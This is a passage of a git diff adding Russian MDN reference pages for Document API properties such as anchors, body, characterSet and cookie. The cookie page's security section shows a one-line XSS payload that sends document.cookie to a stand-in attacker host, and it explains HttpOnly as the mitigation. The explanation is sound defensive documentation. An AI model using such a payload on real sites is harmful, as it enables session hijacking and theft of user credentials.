+   <td>{{SpecName('HTML WHATWG', '#dom-document-anchors', 'Document.anchors')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Obsoleted.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-7577272', 'Document.anchors')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.anchors")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/applets/index.html b/files/ru/web/api/document/applets/index.html
new file mode 100644
index 0000000000..c82cbdb403
--- /dev/null
+++ b/files/ru/web/api/document/applets/index.html
@@ -0,0 +1,71 @@
+---
+title: Document.applets
+slug: Web/API/Document/applets
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Апплеты
+  - Документ
+translation_of: Web/API/Document/applets
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>applets</code></strong> возвращает массив апплетов, находящихся в документе.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The {{htmlelement("applet")}} element was removed in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> and <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome in late 2015</a>. Since then, calling <code>document.applets</code> in those browsers always returns an empty {{domxref("HTMLCollection")}}. Removal is being considered in <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a>and <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>nodeList</em> = document.applets
+</pre>
+
+<p> </p>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("HTMLCollection")}}.</p>
+
+<p> </p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">// Когда вы точно знаете, что вам нужен 2й апплет
+my_java_app = document.applets[1];
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-applets', 'Document.applets')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Obsoleted.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-85113862', 'Document.applets')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.applets")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/async/index.html b/files/ru/web/api/document/async/index.html
new file mode 100644
index 0000000000..2ff21f28af
--- /dev/null
+++ b/files/ru/web/api/document/async/index.html
@@ -0,0 +1,35 @@
+---
+title: Document.async
+slug: Web/API/Document/async
+translation_of: Web/API/XMLDocument/async
+---
+<p>{{APIRef("DOM")}}{{Deprecated_header}} {{Non-standard_header}}</p>
+
+<p><code>document.async</code> может быть установлен, для того, чтобы определить, что вызов {{domxref("document.load")}} должен быть выполнен синхронно или не синхронно. <code>true</code> - стандартное значение, определяющее, асинхронно ли должны быть загружены документы.</p>
+
+<p>(Загружать документы синхронно стало возможно с версии 1.4 alpha.)</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">function loadXMLData(e) {
+  alert(new XMLSerializer().serializeToString(e.target)); // Gives querydata.xml contents as string
+}
+
+var xmlDoc = document.implementation.createDocument("", "test", null);
+
+xmlDoc.async = false;
+xmlDoc.onload = loadXMLData;
+xmlDoc.load('querydata.xml');</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">DOM Level 3 Load &amp; Save module</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XML_in_Mozilla" title="XML_in_Mozilla">XML in Mozilla</a></li>
+ <li>{{domxref("document.load")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/bgcolor/index.html b/files/ru/web/api/document/bgcolor/index.html
new file mode 100644
index 0000000000..60d802621a
--- /dev/null
+++ b/files/ru/web/api/document/bgcolor/index.html
@@ -0,0 +1,45 @@
+---
+title: Document.bgColor
+slug: Web/API/Document/bgColor
+tags:
+  - API
+  - Deprecated
+  - Property
+translation_of: Web/API/Document/bgColor
+---
+<p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p>
+
+<p>Устаревшее свойство <code>bgColor</code> возвращает или устанавливает цвет фона текущего документа.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>color</em> = document.bgColor
+document.bgColor =<em>color</em>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>color</code> это строка представляющая цвет или в виде слова (например <code>red</code>) или шестнадцатиричного значения (т.е. "<code>#ff0000</code>").</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="eval">document.bgColor = "darkblue";
+</pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>В Firefox это поле по умолчанию содержит белый цвет (<code>#ffffff</code> в шестнадцатиричном виде).</p>
+
+<p><code>Поле document.bgColor</code> признано устаревшим в <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. В качестве альтернативы рекомендуется использовать CSS стиль {{Cssxref("background-color")}} который доступен через DOM как <code>document.body.style.backgroundColor</code>. Другой альтернативой доступа является <code>document.body.bgColor</code>, хотя этот вариант также признан устаревшим в HTML 4.01 и также рекомендуется использовать CSS.</p>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.bgColor")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/body/index.html b/files/ru/web/api/document/body/index.html
new file mode 100644
index 0000000000..1a6be5d191
--- /dev/null
+++ b/files/ru/web/api/document/body/index.html
@@ -0,0 +1,87 @@
+---
+title: Document.body
+slug: Web/API/Document/body
+tags:
+  - API
+  - BODY
+  - Document
+  - frameset
+translation_of: Web/API/Document/body
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает узел {{HTMLElement("body")}} или {{HTMLElement("frameset")}} текущей страницы, или <strong><code>null</code></strong> если таких элементов не существует.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var objRef</em> = document.body;
+document.body = <em>objRef;</em></pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// в HTML: &lt;body id="oldBodyElement"&gt;&lt;/body&gt;
+alert(document.body.id); // "oldBodyElement"
+
+var aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p><strong><code>document.body</code></strong> это элемент, который включает в себя содержимое страницы. На страницах с <code>&lt;body&gt;</code> вернётся элемент <code>&lt;body&gt;</code>, а с frameset'ом - элемент <code>&lt;frameset&gt;</code>.</p>
+
+<p><strong><code>body</code></strong> может быть заменено, но это удалит все его дочерние элементы.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML','html.html#ID-56360201','Document.body')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-html.html#attribute-body','Document.body')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.body")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("document.head")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/characterset/index.html b/files/ru/web/api/document/characterset/index.html
new file mode 100644
index 0000000000..021ce45b4a
--- /dev/null
+++ b/files/ru/web/api/document/characterset/index.html
@@ -0,0 +1,119 @@
+---
+title: Document.characterSet
+slug: Web/API/Document/characterSet
+tags:
+  - API
+  - DOM
+  - Document
+  - Read-only
+translation_of: Web/API/Document/characterSet
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code><strong>Document.characterSet</strong></code> доступное только для чтения свойство, возвращает кодировку текущей страницы. Кодировка это набор символов, используемый для отрисовки документа, которая может отличаться от кодировки, заданной на странице (пользователь может переназначить кодировку)</p>
+
+<div class="note">
+<p>Свойства <code>document.charset</code> и <code>document.inputEncoding</code> это устаревшие алиасы <code>document.characterSet</code>. Не используйте их больше.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>string</em> = document.characterSet</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre>&lt;button onclick="alert(document.characterSet);"&gt;Показать кодировку&lt;/button&gt;
+// вернёт кодировку документа вида "ISO-8859-1" или "UTF-8"
+</pre>
+
+<h2 id="Notes" name="Notes">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>кодировка</code></td>
+   <td>Сделано read-only в  {{CompatChrome(45)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="line-height: 19.0909080505371px;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>кодировка</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>2.5</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/document/close/index.html b/files/ru/web/api/document/close/index.html
new file mode 100644
index 0000000000..ba5d9ff72a
--- /dev/null
+++ b/files/ru/web/api/document/close/index.html
@@ -0,0 +1,63 @@
+---
+title: Document.close()
+slug: Web/API/Document/close
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Справка
+  - метод
+translation_of: Web/API/Document/close
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Метод <code>document.close()</code> завершает запись в документ, открытый с помощью <a href="/en/DOM/document.open" title="en/DOM/document.open">document.open()</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">document.close();
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>// открытие документа для записи в него.
+// запись содержимого документа.
+// закрытие документа.
+document.open();
+document.write("&lt;p&gt;The one and only content.&lt;/p&gt;");
+document.close();
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.close")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/compatmode/index.html b/files/ru/web/api/document/compatmode/index.html
new file mode 100644
index 0000000000..f8a48a4ca2
--- /dev/null
+++ b/files/ru/web/api/document/compatmode/index.html
@@ -0,0 +1,50 @@
+---
+title: Document.compatMode
+slug: Web/API/Document/compatMode
+tags:
+  - API
+  - DOM
+  - almost standards
+  - quirk
+  - standards
+  - Свойство
+  - режимы
+translation_of: Web/API/Document/compatMode
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Определяет когда документ отображается в <a href="/en/Quirks_Mode_and_Standards_Mode" title="en/Mozilla's Quirks Mode">Quirks mode</a> или Стандартном режиме.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>mode</em> = document.compatMode
+</pre>
+
+<h2 id="Значения">Значения</h2>
+
+<ul>
+ <li><code>"BackCompat"</code> если документ в quirks mode;</li>
+ <li><code>"CSS1Compat"</code> если документ в не-quirks (также известном как "standards") mode или лимитированный-quirks (известный как "almost standards") mode.</li>
+</ul>
+
+<dl>
+ <dt><code>mode</code></dt>
+ <dd>Исчислимая величина, которая может быть:</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание</strong>: все эти режимы внесены в стандарт, поэтому старые названия "standards" и "almost standards" теперь бессмысленны и не используются.</p>
+</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">if (document.compatMode == "BackCompat") {
+  // в Quirks режиме
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://dom.spec.whatwg.org/#dom-document-compatmode" title="http://dom.spec.whatwg.org/#dom-document-compatmode">DOM: Document.compatMode</a></li>
+</ul>
diff --git a/files/ru/web/api/document/contenttype/index.html b/files/ru/web/api/document/contenttype/index.html
new file mode 100644
index 0000000000..78f90fc116
--- /dev/null
+++ b/files/ru/web/api/document/contenttype/index.html
@@ -0,0 +1,23 @@
+---
+title: Document.contentType
+slug: Web/API/Document/contentType
+translation_of: Web/API/Document/contentType
+---
+<p>{{ ApiRef("DOM") }}{{Non-standard_header}}</p>
+
+<p>Возвращает MIME-тип при рендеринге страницы. Информация может поступать из заголовка HTTP или других ресурсов MIME.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><var>contentType</var> = <var>document</var>.contentType;
+</pre>
+
+<p>Свойство contentType доступно только для чтения.</p>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Свойство не влияет на МЕТА теги.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<p>Не является стандартом, поддерживается только <a href="/en-US/docs/Gecko/Embedding_Mozilla/FAQ/Embedding_Gecko">Gecko</a>. Для использования только в отладчике chrome (<a href="/en/Extensions">Extensions</a> и XUL Mozilla Firefox).</p>
diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html
new file mode 100644
index 0000000000..286bb779f8
--- /dev/null
+++ b/files/ru/web/api/document/cookie/index.html
@@ -0,0 +1,360 @@
+---
+title: Document.cookie
+slug: Web/API/Document/cookie
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - JS
+  - cookie
+translation_of: Web/API/Document/cookie
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Статья описывает получение и установку cookies связанных с текущим документом. Общая библиотека для работы с  cookies смотри<a href="/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework"> simple cookie framework</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Чтение_всех_cookies_связанных_с_текущим_документом">Чтение всех cookies, связанных с текущим документом</h3>
+
+<pre class="syntaxbox notranslate"><em>allCookies</em> = <em>document</em>.cookie;</pre>
+
+<p>In the code above <var>allCookies</var> is a string containing a semicolon-separated list of all cookies (i.e. <code><var>key</var>=<var>value</var></code> pairs). Note that each <var>key</var> and <var>value</var> may be surrounded by whitespace (space and tab characters): in fact <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a> mandates a single space after each semicolon, but some user agents may not abide by this.</p>
+
+<h3 id="Запись_новой_cookie">Запись новой cookie</h3>
+
+<pre class="syntaxbox notranslate" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre>
+
+<p>В приведенном коде <code>newCookie</code> - строка в виде <code><em>key</em>=<em>value</em></code><em>. </em>Заметьте, у вас есть возможность установить/обновить лишь одну связку <code><em>key</em>=<em>value</em></code> за один раз, используя этот метод.  Стоит отметить, что:</p>
+
+<ul>
+ <li>Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
+  <ul>
+   <li id="new-cookie_path">
+    <p><code>;path=<var>path</var></code> (e.g., '<code>/</code>', '<code>/mydir</code>') If not specified, defaults to the current path of the current document location.</p>
+
+    <div class="blockIndicator note">
+    <p><strong>Note:</strong> Prior to {{Gecko("6.0")}}, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.</p>
+    </div>
+
+    <p>The path must be <strong>absolute</strong> (see <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>). For more information on how to use relative paths, see <a href="https://developer.mozilla.org/ru/docs/Web/API/Document/cookie$edit#Using_relative_URLs_in_the_path_parameter">this paragraph</a>.</p>
+   </li>
+   <li id="new-cookie_domain"><code>;domain=<var>domain</var></code> (e.g., '<code>example.com</code>' or '<code>subdomain.example.com</code>'). If not specified, this defaults to the host portion of the current document location. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. If a domain is specified, subdomains are always included.</li>
+   <li id="new-cookie_max-age"><code>;max-age=<var>max-age-in-seconds</var></code> (e.g., <code>60*60*24*365</code> or 31536000 for a year)</li>
+   <li id="new-cookie_expires"><code>;expires=<var>date-in-GMTString-format</var></code> If neither <code>expires</code> nor <code>max-age</code>specified it will expire at the end of session.
+    <div class="blockIndicator warning">
+    <p>When user privacy is a concern, It is important that any web app implementation will invalidate cookie data after a certain timeout and won't rely on the browser clearing session cookies<br>
+     <small>One of the most beloved features of Firefox <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=345345">prevents session cookies from ever expiring</a>.<br>
+     The same <a href="https://code.google.com/p/chromium/issues/detail?id=128513">issue</a> is also occuring with google chrome (and probably with other browsers offering similar features)</small></p>
+    </div>
+
+    <ul>
+     <li>See {{jsxref("Date.toUTCString()")}} for help formatting this value.</li>
+    </ul>
+   </li>
+   <li id="new-cookie_secure"><code>;secure</code> Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains.</li>
+   <li id="new-cookie_samesite"><code>;samesite</code> <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite</a> prevents the browser from sending this cookie along with cross-site requests. Possible values for the flag are <code>lax</code> or <code>strict</code>.
+    <ul>
+     <li>The <code>strict</code> value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing context, even when following a regular link.</li>
+     <li>The <code>lax</code> value will only send cookies for TOP LEVEL navigation GET requests. This is sufficient for user tracking, but it will prevent many CSRF attacks.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>The cookie value string can use {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).</li>
+ <li>Some user agent implementations support the following cookie prefixes:
+  <ul>
+   <li><code>__Secure-</code> Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.</li>
+   <li><code>__Host-</code> Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.</li>
+  </ul>
+
+  <div class="blockIndicator note">
+  <p>The dash is considered part of the prefix.</p>
+  </div>
+
+  <div class="blockIndicator note">
+  <p>These flags are only setable with the <code>secure</code> attribute.</p>
+  </div>
+ </li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> As you can see from the code above, <code>document.cookie</code> is an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">accessor property</a> with native <em>setter</em> and <em>getter</em> functions, and consequently is <strong>not</strong> a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">data property</a> with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_1_Простое_использование">Пример #1: Простое использование</h3>
+
+<pre class="brush: js notranslate">document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+  alert(document.cookie);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="alertCookie()"&gt;Show cookies&lt;/button&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}</p>
+
+<h3 id="Пример_2_Получить_cookie_с_именем_test2">Пример #2: Получить cookie с именем <em>test2</em></h3>
+
+<pre class="brush: js notranslate">document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
+
+function alertCookieValue() {
+  alert(cookieValue);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="alertCookieValue()"&gt;Show cookie value&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}</p>
+
+<h3 id="Пример_3_Выполнить_операцию_единожды">Пример #3: Выполнить операцию единожды</h3>
+
+<p>При использовании следующего кода замените все вхождения <code>doSomethingOnlyOnce</code> (наименование cookie) на другое имя.</p>
+
+<pre class="brush: js notranslate">function doOnce() {
+  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
+    alert("Do something here!");
+    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="doOnce()"&gt;Only do something once&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}</p>
+
+<h3 id="Пример_4_Перезагрузить_cookie">Пример #4: Перезагрузить cookie</h3>
+
+<pre class="brush: js notranslate">function resetOnce() {
+  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="resetOnce()"&gt;Reset only once cookie&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}</p>
+
+<h3 id="Example_5_Проверить_существование_cookie">Example #5: Проверить существование cookie</h3>
+
+<pre class="notranslate"><code>//ES5
+
+if (document.cookie.split(';').filter(function(item) {
+    return item.trim().indexOf('reader=') == 0
+}).length) {
+    console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').filter((item) =&gt; item.trim().startsWith('reader=')).length) {
+    console.log('The cookie "reader" exists (ES6)')
+}</code></pre>
+
+<h3 id="Example_6_Проверить_что_cookie_имеет_определенное_значение">Example #6: Проверить, что cookie имеет определенное значение</h3>
+
+<pre class="notranslate"><code>//ES5
+
+if (document.cookie.split(';').filter(function(item) {
+    return item.indexOf('reader=1') &gt;= 0
+}).length) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').filter((item) =&gt; item.includes('reader=1')).length) {
+    console.log('The cookie "reader" has "1" for value')
+}</code></pre>
+
+<h2 id="Безопасность">Безопасность</h2>
+
+<p>It is important to note that the path attribute does <strong>not</strong> protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden <a href="/en-US/docs/HTML/Element/iframe">iframe</a> element with the path of the cookie, then accessing this iframe's <code>contentDocument.cookie</code> property. The only way to protect the cookie is by using a different domain or subdomain, due to the <a href="/en-US/docs/Same_origin_policy_for_JavaScript">same origin policy</a>.</p>
+
+<p>Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -</p>
+
+<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+</pre>
+
+<p>The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p>
+
+<h2 id="Заметки">Заметки</h2>
+
+<ul>
+ <li>Starting with Firefox 2, a better mechanism for client-side storage is available - <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a>.</li>
+ <li>You can delete a cookie by simply updating its expiration time to zero.</li>
+ <li>Keep in mind that the more you have cookies the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a> if you are going to keep "client-only" data.</li>
+ <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a> (Section 5.3, "Implementation Limits") specifies that there should be <strong>no maximum length</strong> of a cookie's key or value size, and encourages implementations to support <strong>arbitrarily large cookies</strong>. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.</li>
+</ul>
+
+<p>The reason of the <a href="#Syntax">syntax</a> of the <code>document.cookie</code> accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>):</p>
+
+<h5 id="The_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</h5>
+
+<pre class="eval notranslate">HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
